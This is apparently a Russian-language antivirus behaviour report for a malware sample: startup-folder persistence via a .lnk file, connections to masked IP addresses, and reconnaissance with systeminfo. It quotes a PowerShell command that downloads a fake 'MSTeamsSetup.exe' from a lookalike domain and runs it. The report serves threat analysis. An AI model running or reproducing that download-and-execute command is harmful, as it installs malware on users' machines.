Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\thrndfg.lnk
Сетевая активность
Подключается к
- '12#.#40.55.152':443
- '38.##2.122.155':443
- '15#.65.0.17':443
TCP
Другие
- '12#.#40.55.152':443
- '38.##2.122.155':443
- '15#.65.0.17':443
Другое
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest -Uri \"https://apple-online.shop/MSTeamsSetup.exe\" -OutFile \"$env:TMP/MSTeamsSetup.exe\" ; & \"$env:TMP/MSTeamsSetup.exe\" ; $startupFolder = [System.IO.Path]::Com...
- '<SYSTEM32>\cmd.exe' /c systeminfo
- '<SYSTEM32>\systeminfo.exe'
